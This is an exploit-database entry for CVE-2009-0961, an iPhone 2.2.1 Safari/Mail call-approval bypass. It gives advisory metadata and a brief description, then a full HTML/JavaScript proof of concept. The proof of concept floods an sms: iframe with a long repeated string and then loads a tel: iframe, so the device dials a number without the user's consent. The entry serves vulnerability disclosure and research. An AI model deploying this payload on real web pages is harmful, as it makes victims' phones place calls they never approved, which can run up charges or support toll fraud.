Apple iPhone 2.2.1 - Call Approval Dialog Security Bypass (3)

Author: Collin Mulliner
type: remote
platform: hardware
port: 
date_added: 2009-05-17 
date_updated: 2014-04-27 
verified: 1 
codes: CVE-2009-0961;OSVDB-55238 
tags: 
aliases:  
screenshot_url:  
application_url:

source: https://www.securityfocus.com/bid/35425/info

Apple iPhone is prone to a security-bypass vulnerability that may cause a call to be placed automatically.

Successfully exploiting this issue may allow attackers to bypass the Mail's call-approval dialog and place a call automatically from a vulnerable device.

NOTE: This issue was previously covered in BID 35414 (Apple iPhone and iPod touch Prior to Version 3.0 Multiple Vulnerabilities), but has been assigned its own record to better document it.

<html> <head> <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner</title> </head> <body> <script lang=javascript> l = "<iframe src=\"sms:"; for (i = 0; i < 10000; i++) { l = l + "3340948034298232"; } l = l + "\" width=10 height=10></iframe><iframe src=\"tel:+12345\" height=10 width=10></iframe>"; document.write(l); </script> </body> </html>